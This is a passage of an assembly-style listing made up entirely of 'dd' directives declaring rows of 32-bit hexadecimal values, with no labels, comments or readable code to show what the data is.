		dd 1B4D230h, 6027B9C4h,	2F779455h, 2556D0CCh, 8905A0Bh
		dd 4D2D60BDh, 0E3D8383Bh, 0C250BC59h, 0B0FAD2B6h, 18647044h
		dd 0D989FD51h, 0FC9E42E9h, 0EA9A04F4h, 45A549BBh, 8020FDDAh
		dd 90C993C3h, 84E1F868h, 4656FC94h, 0C98F05CFh,	0BA05D9C5h
		dd 8B36456h, 54C45C07h,	134172E1h, 6B4038D4h, 285E3235h
		dd 2CD9998Dh, 6000BE45h, 0CFDF23FFh, 0A52D5502h, 57772401h
		dd 0C0C46C90h, 0B04FCE0Ah, 5803C380h, 0D0458772h, 58330774h
		dd 8601E00Dh, 0A530BD5Fh, 26EC2C43h, 40094F11h,	30D0D215h
		dd 2EF86570h, 0C4006B2Ah, 72BFB6EAh, 1C20DDBh, 92711DFFh
		dd 365F0E08h, 0E3EA0274h, 0A2E9B603h, 7415A79Ch, 9456491Ch
		dd 984BCA91h, 410916F0h, 0C2595173h, 711C18C8h,	30C69781h
		dd 3A16DC04h, 40EE2957h, 0E42E8CE8h, 8638D556h,	0C0655B1Eh
		dd 4B5740Fh, 6CF54903h,	6DE93831h, 5815DF00h, 25415F13h
		dd 0DC6024B1h, 3AE24155h, 5880B8C0h, 0F37F4E69h, 0A270622Ch
		dd 80460B1Fh, 3A60C4BFh, 0F63C36CCh, 0E5C12052h, 0FFE11Dh
		dd 83852129h, 3811DDE1h, 96740BA8h, 0F0908C20h,	4B4D5BB1h
		dd 3402E3ECh, 0C099E41Dh, 0DBF9E48Fh, 81AC7982h, 60B722CBh
		dd 28418BA1h, 0AA881BCh, 5EDF3695h, 3D288191h, 570900CFh
		dd 0B11009Eh, 0F1BC3890h, 830E5BD5h, 4AE07Eh, 2E8AAB56h
		dd 0C1AF186Dh, 63A320BBh, 410A700h, 59F85650h, 9C661DBCh
		dd 8F98043Ah, 7A54EDD3h, 0AAF2D700h, 89EC57F8h,	876E0130h
		dd 0A30D7B8Bh, 0B1FC5042h, 8C1F95BBh, 15040834h, 0D8B83ECCh
		dd 8CD2E8h, 0BF936A62h,	0A1F554F6h, 0EC58AF9Fh,	4A51E07Dh
		dd 875482A9h, 0BE988375h, 0F58016F7h, 2A2444DCh, 668CC3BCh
		dd 62A0F2A3h, 5E0328A7h, 561C4104h, 0FE2F8287h,	0BCDF8554h
		dd 11C4C637h, 1785701h,	0C47F0FC8h, 7C067DDAh, 0BE5B10D8h
		dd 0D4605C40h, 15885548h, 981D0BDBh, 0ADE00450h, 50C01228h
		dd 0CFF0282Ch, 58C444CAh, 0BD403E05h, 957CA3CCh, 8C1DC617h
		dd 0C848C4F8h, 1C510480h, 5356BCD0h, 837B8240h,	408854E2h
		dd 586E5C37h, 5E088702h, 0F2EC47E3h, 0BF7D7D3Ch, 22267061h
		dd 0E03C4694h, 0A894C57Fh, 5F1EBFA4h, 38CCD0D3h, 31CAB259h
		dd 42543424h, 0E00CF39Dh, 6695B97h, 7D08E5EFh, 9605D1D6h
		dd 57DEA2C9h, 0F65F4180h, 4548A1D0h, 1423BC5Bh,	0C583761h
		dd 8AA96186h, 0F8812026h, 0B1A853B8h, 0DA1939C6h, 261390Ch
		dd 10665442h, 5F809032h, 0E3271692h, 0B40D062h,	9300D782h
		dd 0EDBFB003h, 2514DE9Ah, 60E3F2F5h, 67085E4h, 807D82F4h
		dd 2CBBF22h, 0BC8C0D57h, 2099947Eh, 0A1BC4827h,	0A0743028h
		dd 5B9C5B49h, 226E30C0h, 8AD61698h, 7D68D0EDh, 455B6556h
		dd 3BA8CA2h, 0D9A44804h, 10C18C01h, 108C7144h, 0FC0859E9h
		dd 62217741h, 31AE08A6h, 1A1BE08h, 0AB017C56h, 65950199h
		dd 1572C01h, 0B501DC70h, 0F73B015Dh, 4FC2903h, 8304478Bh
		dd 798C0CD0h, 3EA5401Fh, 404C5340h, 9C56854h, 70930B42h
		dd 0BB1018E2h, 6A8F0891h, 80FE3980h, 0C8067E8h,	4296809Ch
		dd 80CB2E80h, 0EE806218h, 0F471C89Bh, 18AA8608h, 7BEF896Eh
		dd 80442580h, 8280A867h, 0B208C4EDh, 6D5A044Ch,	1CD4F004h
		dd 4048C010h, 0C4650862h, 0C9030402h, 108CA3D8h, 0C6089A59h
		dd 40DB9E40h, 4566BC69h, 0C42966F1h, 485FB31h, 1A0AA67Eh
		dd 806E95CCh, 81DA1D19h, 58B40194h, 1974D01h, 888EF5Dh
		dd 0E408D640h, 0F3A308E7h, 15E63C08h, 53109035h, 483010E5h
		dd 0E819D833h, 4ABA4910h, 3198A010h, 7346C1ABh,	0CEC8803h
		dd 0FDD8395Bh, 3C65201h, 6CC91002h, 6B83105Ch, 31EB0510h
		dd 0C586E14Ch, 0C910D203h, 0B81082E9h, 562C10B9h, 20940C2Ah
		dd 7A75FEDBh, 81E91E80h, 3DA188CBh, 5BF008C3h, 31B8B915h
		dd 53E6A1E1h, 1CEED01h,	0C2017074h, 8D97017Fh, 41102E03h
		dd 3510BCF5h, 5A1519C8h, 0AA01F661h, 0BF12019Dh, 99607501h
		dd 0E309AB79h, 3195B190h, 64A15162h, 0A4A2CD02h, 3202A2D6h
		dd 5DCA0284h, 54219806h, 0C413A48Dh, 4676B29h, 0DE0AFB26h
		dd 846995BCh, 6A990F10h, 0CA901C1Eh, 10EE8110h,	3B107B77h
		dd 872C1083h, 38B0F210h, 0A961C0F8h, 29989B94h,	0D32B2169h
		dd 81472380h, 93EC510Ah, 14C404CCh, 0D1B8EC04h,	1FD55204h
		dd 1E2AAAD0h, 634D20E0h, 0A6807371h, 54A49009h,	644AC884h
		dd 0C4C7950h, 40C94988h, 0DA4037B8h, 201E192h, 48FD02A7h
		dd 80D0F0B0h, 5809004h,	0ADCF8045h, 0B4503881h,	4EA6EE7Dh
		dd 0C7845C7Eh, 0F9D29809h, 0E0235041h, 6960A980h, 5EA2AF10h
		dd 0F6D8072Eh, 221BBA7Ah, 1852DFD1h, 46DCD900h,	839516B8h
		dd 0F2E8007Ah, 0C1BA2F02h, 0D62C8903h, 6BB8EDh,	0F27EEE98h
		dd 15AE0E23h, 0B28742B0h, 90185F1Ah, 6601D25Dh,	0A45E3CF5h
		dd 0B02A9627h, 0E001821Ch, 0C1CABA28h, 83D44698h, 2B140034h
		dd 6DA00A45h, 8261B6F4h, 0C32CA128h, 0A29A708Bh, 0AA5D10A1h
		dd 0C5AA3066h, 556C7C00h, 4E41F503h, 0A2A114E2h, 0BB008831h
		dd 9A348487h, 90C03FD7h, 0E9388E13h, 0A66400B8h, 11C02E53h
		dd 0B407C79Fh, 0F5BD089Ah, 5D0D7D00h, 0B1DA38C5h, 99C26200h
		dd 0F73C88E3h, 0BD955C03h, 0D9E18DFAh, 58805161h, 58E62055h
		dd 0A11BC86Eh, 0A08005C4h, 4E3CE298h, 0DF407A8h, 7668063h
		dd 0EE0C1659h, 40A47E99h, 1F7A7E2Fh, 14F4E7D9h,	220AB0C9h
		dd 187CAF76h, 0B763C1CAh, 8C5B043Ah, 683F98A1h,	9D949E1Bh
		dd 0BBCB0F0Eh, 9A1C101h, 82208751h, 8F83E17Fh, 0BA100511h
		dd 0AC68F57Ch, 1904198h, 478D4164h, 33BEE090h, 0ED005D71h
		dd 475C22Fh, 0DBCA23h, 0DC59C95Ch, 301531AFh, 0CF1E1A00h
		dd 2CCC5DA9h, 0C161F36Ah, 8C5064DDh, 538024h, 0B5896147h
		dd 5F766314h, 6600C2E2h, 0B25687B1h, 31F50F20h,	2D90C116h
		dd 5BD570C4h, 0ACBA3700h, 0CB7D5F7Eh, 0D6423CF0h, 8309BD1Ch
		dd 0B13CA0FBh, 6E62F806h, 0A05855EBh, 909AC40Ch, 34A04h
		dd 0F598A988h, 60C2D6BAh, 52D90B36h, 0A25E0A40h, 12CC5B3Eh
		dd 17407BCh, 33914047h,	0A5092D12h, 9058380h, 8904C00Ch
		dd 0C269C8ABh, 0D28D4930h, 84E11EF0h, 57D5CC1Fh, 850A2618h
		dd 0BC27FBA1h, 45D150Eh, 6894C721h, 0D217F4A8h,	8054A145h
		dd 4C840770h, 5AA19CECh, 727000FCh, 85098790h, 0B5B4EA00h
		dd 3145DDCh, 5EBA024Fh,	43FE3EC6h, 5479C078h, 5C315F00h
		dd 5D120D8Bh, 0C901FC8h
		dd 3E18799Ah, 2257988Eh, 10218C01h, 0FC1EDB8Fh,	904E98F0h
		dd 800350C4h, 0A1012893h, 0E422BDE0h, 0D07A8109h, 64B25B24h
		dd 0F35D7D05h, 986CC02h, 7885A84h, 38228F08h, 0C48A0CCh
		dd 0F7001755h, 9CD6233h, 0F7351B4h, 85D0FADh, 567E9A63h
		dd 16A53803h, 0A2C38A1h, 0D25F09F8h, 985CE0B4h,	0F93EFB6Dh
		dd 30840049h, 0B4C9C37Fh, 0B508159Ch, 5C208C0Dh, 82035492h
		dd 9CA1D87Dh, 5583C34h,	98710C15h, 3908951Eh, 0C8E6B4h
		dd 0FF2A9CB4h, 0D500D0E5h, 6E5A3305h, 395460B9h, 377718Fh
		dd 9A388ABAh, 98013562h, 9E019114h, 98482155h, 0A62D32A1h
		dd 44574270h, 50E2485Ch, 90FA858Bh, 0DC553E4Bh,	0C82A7F44h
		dd 0BA628837h, 49BA910h, 565C88FEh, 8C8C20E3h, 6F642249h
		dd 2BCD05F0h, 40AC944Fh, 14661CF6h, 3927002Fh, 0B4DD0221h
		dd 31307D0Bh, 0D18CF0CCh, 0AED0FA5h, 1080C23Eh,	0F5114E3Ch
		dd 0A0E44430h, 29D97F0Bh, 0BA8C55Ch, 800C2C0h, 0A192BA5Fh
		dd 14E9BF20h, 80280809h, 7CC3898Fh, 0B17C0BA7h,	55065F04h
		dd 58C83DAAh, 401E7C57h, 22022EC0h, 89A11F51h, 44F46271h
		dd 277E2064h, 63B58490h, 0C800DDECh, 74F4B4D6h,	9770C075h
		dd 9B5D1E93h, 0D78A4D01h, 555E999Dh, 0D736892h,	8450BC58h
		dd 2EB775D1h, 5E00F815h, 0F50A3E9Eh, 8C9955B1h,	3E52A03Fh
		dd 999E1F56h, 0D510B0B8h, 0E2D3118h, 7D508273h,	5C506877h
		dd 1B2FC9Fh, 7061DE9Eh,	252C80F5h, 0A078AAA0h, 0B92E1FEEh
		dd 66021FA4h, 0CA8C521Bh, 71008998h, 0FA5700B4h, 91189A85h
		dd 116B10C0h, 69C245h, 39D4179h, 0BC999FB5h, 3020C364h
		dd 24DC9488h, 42D40CB8h, 1068A1FEh, 80FD5AF4h, 0CD2A8191h
		dd 247D2079h, 941C67C3h, 0C285F4C9h, 62280995h,	0D891C4A7h
		dd 0A4018E00h, 0D18D06h, 6684CFB3h, 5D859EBAh, 0B0832CB6h
		dd 8663F586h, 0B5DC0210h, 0D280EBEh, 9A7AA880h,	7D807859h
		dd 0A7930F0Bh, 2A832C73h, 0A9F0B556h, 0CB0F2B13h, 8A676Ch
		dd 84F514B0h, 0EB7301A6h, 47C8F96h, 757085DCh, 0E8533D39h
		dd 0B6241C00h, 16C0A568h, 472335A1h, 83D67784h,	0E121DC36h
		dd 3BF4069Ch, 2F58402Dh, 37EB03DCh, 5166851Bh, 1825FBA1h
		dd 0F0298403h, 0C53CD3A1h, 3197C258h, 305F6E94h, 0A4A4CCBCh
		dd 1F179A10h, 9010744Ch, 56BB003Ch, 21A149BAh, 178906Fh
		dd 0D8F45507h, 0C9A33754h, 78E8A8E8h, 0A02EBD74h, 0D8B6CF7h
		dd 5C778616h, 79610048h, 1A2D2454h, 509AE1B4h, 83388449h
		dd 45B7C7Dh, 936986A0h,	9AACC05Eh, 0E80724Ah, 21272A76h
		dd 0BA5704A0h, 904BBCF4h, 0FD893E4h, 20CB4409h,	0AE908088h
		dd 72F7D2A8h, 5831EA55h, 221858A6h, 789270B9h, 0F00DF520h
		dd 7CCB00D1h, 0A459B731h, 0E4A08985h, 4452C75Dh, 90061090h
		dd 0E9215601h, 28AB9F99h, 0DFED8020h, 3F9546Bh,	17C9F055h
		dd 0A4A09ADEh, 0CF0292DBh, 72D5C494h, 6DB84162h, 3000A83Ch
		dd 0DC8FFC14h, 0F4497DF0h, 44632630h, 0BB761203h, 6FF1261Dh
		dd 0A8044900h, 28540D70h, 927404E0h, 0C1C407A8h, 40188E80h
		dd 99CC5CB7h, 1F44E707h, 39E1E2BCh, 0CC420D0Fh,	0C03D05C9h
		dd 0CB782390h, 2FA2440h, 99DC7781h, 13024922h, 1AE0C85Fh
		dd 5D0A8616h, 0E07E0901h, 40E27A62h, 822D74h, 98612512h
		dd 0CA0D6B91h, 5DD79900h, 0FD86AFA9h, 51820E09h, 0AAAEC2B6h
		dd 0EEB3A1E2h, 0DF7684C8h, 39A4B09h, 0B8C9938h,	0CA8D160h
		dd 0F7247D0Dh, 951D6368h, 0E42EB699h, 2F54F880h, 590371E5h
		dd 0C2C4B057h, 60808D98h, 705A7DF0h, 5B8538C1h,	5DF4B030h
		dd 145924C3h, 4C4F2094h, 892807C8h, 0B6084091h,	8598003Ah
		dd 0C36A1955h, 8ADC8100h, 0D8E20D9Bh, 9110B920h, 86F40CE0h
		dd 5033386Ch, 0A2A1900Ah, 0ED9C80F8h, 0F480E442h, 26F87895h
		dd 0A5E84A1Bh, 0C8202820h, 6B09FDFBh, 11980913h, 81EC95C0h
		dd 0CA7B06C2h, 68E97033h, 82E4492h, 7478C84h, 0DA5F1580h
		dd 6EFDF4h, 0F06CD31Ch,	62031960h, 9BA18791h, 0C4903A5Bh
		dd 0B518E2BCh, 7D1340F4h, 0C8564D30h, 1771985Dh, 2802ED5Eh
		dd 9500C368h, 0B79A0A8Dh, 0B8F3C95Dh, 0DED703E0h, 0C27E4BEh
		dd 96A0080Ch, 1E930FEh,	1F7BCAB2h, 5407F57Dh, 631098CCh
		dd 0A1418094h, 0A0804E10h, 0BC9EBA8h, 5454DA97h, 2341D8ECh
		dd 9BC3C1E2h, 485EFC48h, 0BF10A0C7h, 7E561663h,	5B99F820h
		dd 0EFC8083h, 520D667Ch, 0D06105F5h, 61C042FAh,	7032AE4h
		dd 0C8E01116h, 981C9C28h, 24E4A34h, 0C1D2BC8Ch,	0A44A746Eh
		dd 0D04814h, 547ABB53h,	0FB5D985Ah, 80C20840h, 93C024Ch
		dd 6D3B75F8h, 31ABD8E8h, 14FE1280h, 0E473766Ch,	5CB5FD10h
		dd 106BC0B8h, 0AB1CE3A1h, 0A1D7C244h, 0E5EE9AE4h, 8201C21h
		dd 0C95664C5h, 23572080h, 0E19A5186h, 6310108Bh, 0A1941C20h
		dd 58C02ACAh, 40F579BAh, 3C40CFDBh, 22917800h, 21C0155Ch
		dd 0A7CFC1B2h, 70903CBEh, 358B7103h, 2DE2CAB0h,	103AFCE0h
		dd 0F5185305h, 189148CCh, 4880119Dh, 572EEE24h,	0F5130C06h
		dd 8833D967h, 0C074D02Bh, 1BA11AA4h, 56C1B8F6h,	5042057h
		dd 3103F531h, 4C281033h, 0AC89C09Ch, 0A919F513h, 2289090h
		dd 0CC20E85Fh, 0A280151h, 0AB8A9EC2h, 3858D2DAh, 3B7DF415h
		dd 786F24B4h, 579E62E1h, 4A552820h, 0C9304022h,	0C2ACDE9Ah
		dd 0F56E710Ch, 984C6176h, 0E2CEE48h, 0BBB51C42h, 0FC91CA2Bh
		dd 0E5DC30ACh, 103C809Ah, 0B0644D5Dh, 7DD38F12h, 0E68E7B9Eh
		dd 65F467h, 0A31D0DA4h,	0EF937D3Ah, 3284A494h, 0B4C0400Eh
		dd 7C9DF7Ch, 9794DC99h,	7A9D8391h, 89875833h, 0DA15C95Dh
		dd 0D39B6D70h, 0EADC415Ah, 640D5F55h, 0F0C4570Ch, 14F0AF1Bh
		dd 66CA055Dh, 0C5F521F4h, 0D9E4884Eh, 61CFCC96h, 0D465A106h
		dd 20F872F2h, 2F0438AEh, 59C1C274h, 5EB6B4C7h, 90F304E8h
		dd 0A0E282C3h, 29307588h, 9A363052h, 607760DCh,	0A87DC82Fh
		dd 20281400h, 0A1AFA40Bh, 946E4CD6h, 87905909h,	0B0A478E5h
		dd 8090CA0h, 0A35AC67Dh, 0A0FAA374h, 78840A1Eh,	4B9E421Dh
		dd 2380901Fh, 96CA1A74h, 20D2DEh, 5B201F00h, 0A32C5E77h
		dd 98486418h, 4688494Fh, 0BECB00A8h, 930964C3h,	1D0535CFh
		dd 82922E25h, 0B20744C0h, 0B9E02405h, 0FA850CA0h, 42003B76h
		dd 3ECD917Eh, 89EBE8h, 414479C2h, 39A0BE95h, 0E29AEA00h
		dd 18D52651h, 0DE3F30A1h, 7B7D0BB8h, 0EAE01060h, 514716h
		dd 0C9953184h, 0AD99EEC1h, 0E0A0456Eh, 309ADA6Ah, 0AC702D5h
		dd 2FA3F523h, 0F899ECA0h, 981ED1ACh, 9AC9ECBDh,	8B85055h
		dd 0DDFAF508h, 0B4F13C00h, 3AA01Dh, 836DF456h, 990AE27Bh
		dd 9549B5FAh, 0BA371F80h, 4CC8F035h, 0A54740F2h, 74252C90h
		dd 0F4ECA2D2h, 99A85085h, 3B882C00h, 5FD7600h, 2EA18D44h
		dd 0F44194Ch, 4AE7321h,	48169A5h, 0A0908071h, 123500B9h
		dd 4B6E572Dh, 0B5F419C0h, 40D218BAh, 86994244h,	0D77E0B09h
		dd 8300325Ch, 0A82E8F54h, 2A9A2DE1h, 27EC9F78h,	0A01184FEh
		dd 718DAh, 0BA965606h, 9FA18677h, 2120B465h, 149A18D0h
		dd 0D562827Ah, 8E0C1879h, 58B0D002h, 84041888h,	72B21Bh
		dd 0CA491AC9h, 9497009Fh, 9D09086Ah, 759885BEh,	1A205500h
		dd 61790FAFh, 0B57C3B90h, 0A4A0805Bh, 0F01E5505h, 0AFCF4834h
		dd 35CDC009h, 7CD55714h, 30152E10h, 9D5C4360h, 7C89F288h
		dd 0F51B4273h, 0C8E818B2h
		dd 3C2B0A8Ah, 0CD3FFF23h, 0DB4AA26h, 24200B72h,	22168620h
		dd 104BA98Bh, 484C02E2h, 0CA54C93Ah, 74169867h,	0E1FCA517h
		dd 6064645Bh, 920BBA40h, 619A26E0h, 69258F8Ch, 82727C84h
		dd 802F0AB8h, 0EE398497h, 955E0034h, 0DA8DFC5Dh, 2101A6FEh
		dd 19740B28h, 2080960Ah, 0F506419Dh, 78C00F2Ch,	0E9D7A222h
		dd 550A007Bh, 723BA8EDh, 0F44BA1D0h, 3310B001h,	0C8406E45h
		dd 0C057BEF5h, 7C780238h, 0C098F98Fh, 14398316h, 321A4C04h
		dd 0BC01CD00h, 0FE0F4B22h, 0F3A1116Bh, 91415440h, 0B2701BF5h
		dd 6AE134FCh, 4F808818h, 1C36BB80h, 0D53484FDh,	4E01F86Bh
		dd 5D73C217h, 0F4087413h, 28918B64h, 123B30F0h,	47B8101Bh
		dd 2D66C254h, 860C3C18h, 5E706C20h, 7A1CF013h, 4788EE09h
		dd 620005B8h, 550C0800h, 1E1106AEh, 19A13089h, 70A7386Bh
		dd 200BEDCCh, 0A26E0F0Dh, 0C0AF4FA8h, 268688B8h, 0BEEC630Eh
		dd 5453FD16h, 5C3FECECh, 49891FCh, 0CCD4900Dh, 0D9400408h
		dd 228D1C06h, 77A482B1h, 0A0C4E2BCh, 81B8F200h,	7A09D674h
		dd 9F942E1Dh, 0D39504FCh, 409CB542h, 0BFE634D0h, 3050CDFEh
		dd 0AE3B09C0h, 68B99815h, 0CF7611h, 55692671h, 47BB0421h
		dd 9B895D1Fh, 0C498E1D4h, 48213C0h, 0F00EC06h, 0C8718409h
		dd 787D5FC1h, 54188440h, 0C8E2C1ABh, 0A0CB5E18h, 209F70EFh
		dd 90BA3FF4h, 0FE9E0C01h, 0F41853C1h, 0A0AC0928h, 8172272Fh
		dd 0FF95211Ch, 0F770C03Ah, 7D16C39Eh, 0B88C63FDh, 0B91040EFh
		dd 7B9A811Eh, 86FE78F1h, 5626306Dh, 62B009Ch, 97D5C01Fh
		dd 300877Bh, 0D0C16CD2h, 39BA009h, 55FF746Eh, 0F6B04DF3h
		dd 0A90901CCh, 0A04C2A7Dh, 1E5DC10Ch, 0C2463EA3h, 90424105h
		dd 2624C003h, 807986D3h, 20E4A15Ch, 9447FC35h, 8EFC8F58h
		dd 8A017CBh, 76EAFE21h,	840010E8h, 83F753CDh, 0F00F8E61h
		dd 0FC9D0501h, 845A2888h, 0A16CC4E8h, 80FDE308h, 0EFFB9288h
		dd 8AB07C3Bh, 0E8449D1Dh, 64FC7E80h, 3B550D01h,	18046FF9h
		dd 0F04BA1C6h, 309872B8h, 61093B69h, 6021AC0Ch,	0AC300FD9h
		dd 0B93BE85Ah, 210C1314h, 2B2D240h, 17C078FCh, 3E53008h
		dd 68A1CAD8h, 0F21EA0CEh, 8D075E5Dh, 0D7CF15D5h, 206C20B1h
		dd 0A068F4C5h, 1F00CDC8h, 4272F639h, 0C98C69h, 0B4F2DA9Dh
		dd 7A371BFh, 96BA61Ch, 33599641h, 6D305C70h, 0E0809C02h
		dd 618C6642h, 0BD0D851Fh, 0D43819A5h, 0CE30812Fh, 87382h
		dd 156C2C0Ch, 2789C3E8h, 0DCA0BA2Fh, 0D40A18Bh,	91E0D0D8h
		dd 2439094Ah, 38800785h, 0FC5F6656h, 505B096h, 0D4A33192h
		dd 4C418041h, 830049C8h, 0E6741B22h, 31E0C0B7h,	753B128Ch
		dd 10845484h, 32064400h, 0EC9AA91Ch, 8182C500h,	5C970AD6h
		dd 1696005Eh, 0A931FCBEh, 0D0B05F95h, 9A05CC9Ch, 0CC563453h
		dd 7CF5F091h, 220BAC3Ch, 0E422C6FAh, 24E4C2AAh,	0EC57C0CAh
		dd 0B2573F1Dh, 0A4C8F09Ch, 0B4FC90ACh, 7904168h, 939A03A7h
		dd 918044Fh, 0D11B37F5h, 70848508h, 5500FA6Fh, 4439E3F8h
		dd 47D89BFh, 141F2C0Bh,	0EC4080C1h, 0E500BB0Ah,	330CA524h
		dd 7BD06CC2h, 5D200727h, 6084C1C8h, 8C684278h, 851B3918h
		dd 4B50D59h, 0AE7D09C4h, 0F278C0D5h, 6C00C1AFh,	17891CECh
		dd 0C0FA10F5h, 0E1328491h, 0D53C5CDEh, 339C1A0Eh, 0BEECD011h
		dd 6C1DB000h, 0E1587582h, 9D0D001Ah, 966B3E81h,	1E2805B2h
		dd 0D01323F5h, 0BB01A09Ch, 207958h, 1C9766BAh, 2F9A2F45h
		dd 5000936Eh, 680FA0F4h, 0B94818B0h, 81020448h,	28F1EF5Dh
		dd 9A09B466h, 0B0125088h, 5FEC881h, 0AC982445h,	618E195h
		dd 40127864h, 3603D3BBh, 0FC1EAAEEh, 0B30A37Dh,	5817530h
		dd 80673825h, 4E51CCA4h, 0A2F6F38h, 9CFE067Dh, 5E229300h
		dd 0A35F78D2h, 4365E9A8h, 4FEC19ACh, 2FEFD581h,	0A1C084C0h
		dd 78ACAB1Bh, 7DF4A44Ah, 1C037BFFh, 0C1B58985h,	10826BCBh
		dd 0D84A188h, 390C9471h, 164259EAh, 0C817F7FEh,	853F13E8h
		dd 2904DA1h, 8FD5D12h, 1054D182h, 1037C9F5h, 0B2CF7DC4h
		dd 0F1CCA648h, 0A1F0B0F2h, 30645D83h, 58377450h, 0D580C0E8h
		dd 2D122EE6h, 0CB400094h, 5CD0DF9h, 5D9F4234h, 0A0800A3h
		dd 766CA5Bh, 68ACFC34h,	0B34BFCC1h, 20548510h, 0E50BA701h
		dd 0B0C5A199h, 9A86892h, 0B4302DC0h, 0A76292ACh, 6E670318h
		dd 0F69A1268h, 2DB0217Bh, 1CF0037h, 0EB490F52h,	20DAE799h
		dd 0E07F30C0h, 14980B80h, 8C4E62DAh, 81FAD317h,	640ECCh
		dd 0D7B281A1h, 2EC49860h, 0E04C0F43h, 82301410h, 540AC2F4h
		dd 0D78E4044h, 30596F9h, 0ADE09A85h, 2A7860A2h,	22D89BC5h
		dd 0A12D861Dh, 0C2840291h, 12F07199h, 1B44E45Eh, 0D8CAA02Eh
		dd 150530A4h, 0F8E0887Dh, 99980289h, 76D8DAFCh,	0FAB41E0h
		dd 0C24A7D27h, 14B4C4F4h, 0A8BC3694h, 7CBA3809h, 2FA82488h
		dd 56623438h, 74D930D2h, 406AD470h, 0A8CBC458h,	89340707h
		dd 9C4003C5h, 4C9C223Eh, 27C10025h, 0B5127C3Ch,	300F3DA2h
		dd 8107C390h, 0F8054099h, 62248020h, 8B7161DBh,	0DC62C0E1h
		dd 7D092A02h, 1042EA12h, 128D0B5Ch, 4D706FA1h, 40808354h
		dd 0D8F9F40Ch, 0F29A0980h, 518165Dh, 0CEB009BDh, 2482878h
		dd 39B00090h, 0ED3CC1FBh, 66C023Eh, 340DA550h, 0FFC050C1h
		dd 0A91DABE8h, 0A0303F6Fh, 8971F9AEh, 5D0C177Ch, 0C008D2CBh
		dd 0F3004471h, 33E32098h, 3FEE8BEh, 5D2172DCh, 18A666DAh
		dd 506C27Ch, 84E5A14Ah,	7C8382C0h, 0F898982Ch, 710BA045h
		dd 2BF6D574h, 7D60E0E0h, 4704C91h, 98C025CEh, 4D155589h
		dd 8095C33Ch, 5DFB7A0Ah, 0E5645C9h, 9F5B76F5h, 9058E789h
		dd 0DA3AA1F8h, 8F613F5Ch, 0E024C5E2h, 0C819178Ah, 0A2071E80h
		dd 0BD16000Fh, 0AA08732Bh, 0A67724F0h, 7B8F10C0h, 0F86B07C8h
		dd 63F74B4h, 0A677EF2Fh, 2D00215Fh, 0DD7A33D8h,	3CBF230h
		dd 3AB344A2h, 0A3C2F8C5h, 0F02D0882h, 0A58014AFh, 75688655h
		dd 2C8CAA01h, 0A606237Ch, 589F13DDh, 38D0070h, 0E557983h
		dd 6E5EF000h, 95EADBBDh, 8405008Ah, 63AE8F4Ah, 6D00B688h
		dd 0E08A216h, 6CCEA1Ah,	6C8A5B75h, 3324A8B2h, 0A6065A25h
		dd 0F0605A5Dh, 0D7F02Fh, 52A1721Eh, 6B67C07Eh, 93DA7607h
		dd 4834864Eh, 3458D203h, 8272BA0h, 0F20FB205h, 9020A9CAh
		dd 341EE88h, 0A63043B7h, 18033F19h, 8A8BAC72h, 8068672Bh
		dd 32C04F1Fh, 12A1C8D2h, 0A500F2E6h, 618A24E7h,	181AF6ADh
		dd 40AC71A6h, 0CA31D275h, 8AF02897h, 50F267D8h,	253CA2h
		dd 0EF065727h, 0CA7AEC5Bh, 320C5E79h, 0B877EE2Dh, 498A192Bh
		dd 40D93061h, 1DE0AD1Ch, 0FD20C01h, 0ECB271Fh, 6A6884Ch
		dd 9380D684h, 5E4810DEh, 8B441808h, 60BF5280h, 0EA10C826h
		dd 41308A2Eh, 80E58B0h,	371FCF9h, 3DB52AB7h, 6D984955h
		dd 0A20EB09Ch, 80AFF79Bh, 0F2310CCDh, 0FE63049Dh, 82AD2224h
		dd 0D4A1F648h, 0D05FBA62h, 0DB7C1B4Eh, 1842E730h, 41316Ah
		dd 0E8A9859Bh, 0B2864557h, 2D36B800h, 244FA5C0h, 9BF21D09h
		dd 44B34FA4h, 6323F180h, 720A0142h, 8D92C95h, 0CA52EC00h
		dd 0A08A8FAAh, 0A0067394h, 29ABEA88h, 0AA0F02Ch, 629CD622h
		dd 8A211AF8h, 0F980BCE1h, 0EDA4AA01h, 911811F2h, 7520D993h
		dd 0FD9D80BFh, 86852E03h, 0C02462EBh, 720F79h, 0B3F81438h
		dd 0C55DAEABh, 0D52E4709h, 1F7400BBh, 737DA8F3h, 5380813h
		dd 51094B7Ah, 5A0407ECh
		dd 192BD32h, 24440541h,	4703C884h, 0CED2746Bh, 7C10C6Fh
		dd 5E8ABEDh, 280D4F31h,	0E42177B8h, 0E38BF003h,	1293D83Bh
		dd 5F7CB2h, 6A43837Eh, 4B4214E7h, 8A2FCA0Fh, 0EDF159EFh
		dd 1C1122C4h, 7035D27Ch, 0A9A4F468h, 2780B062h,	0EB24400Fh
		dd 0C59CA11Ch, 30728307h, 5F541000h, 0AABF1F5Dh, 0B0560089h
		dd 1E5E41A9h, 0EDE81D69h, 74D2D119h, 10FCF258h,	1C6D5868h
		dd 0C075FC19h, 5B3FEC53h, 45318AE0h, 0A52D98A4h, 4F3D084h
		dd 0B7AA4533h, 543DF020h, 80DE2Fh, 1D232E16h, 9F00723Ah
		dd 9E0F76A8h, 308A699Ch, 5F30A631h, 227761E6h, 38076230h
		dd 0CF827Dh, 7250F566h,	0F27974C5h, 1728CC00h, 0BA24F45Ch
		dd 9DBB2A8Ah, 90A394h, 65B2AA71h, 0A5823B83h, 18B1DB32h
		dd 120C6C23h, 50564827h, 1024A0C4h, 397701BCh, 80024305h
		dd 0DE9F9249h, 45FB35h,	447BBA2Dh, 0C76A39E2h, 0CDA60400h
		dd 2869AE8Eh, 40996694h, 8246934h, 721D70CAh, 1F2DD204h
		dd 4B24A00h, 38C9E036h,	0F27C1084h, 33503C9h, 0E6AD8C08h
		dd 884A1C2h, 203CC427h,	6B4FB070h, 1353720Dh, 62F84077h
		dd 96B20ACAh, 41BC563Eh, 0DC36B62Ah, 0B89277D7h, 12D0C052h
		dd 60431166h, 3BE905h, 3C9BFA30h, 9962B554h, 4C5A852Ch
		dd 0B02038h, 621BC25h, 0D78A63F5h, 0C681A58h, 28667A39h
		dd 0A59A4001h, 0B0A2ED06h, 0EEB8782Ah, 8C88829h, 0B87D6B09h
		dd 375C0038h, 30053A57h, 17201BB1h, 5B00404Ch, 13BB8974h
		dd 0C2C381F0h, 0A2DD2508h, 0ADE3B440h, 8988090h, 6460B7F0h
		dd 0C7D428D0h, 448E8FDh, 0BE8AC6A5h, 434D063h, 0C8F21C66h
		dd 5FFE0F03h, 5546B05h,	82766970h, 8ECEC36Ch, 4D6E15F0h
		dd 1D061300h, 3C195740h, 53D83444h, 7EF081C1h, 4CD60468h
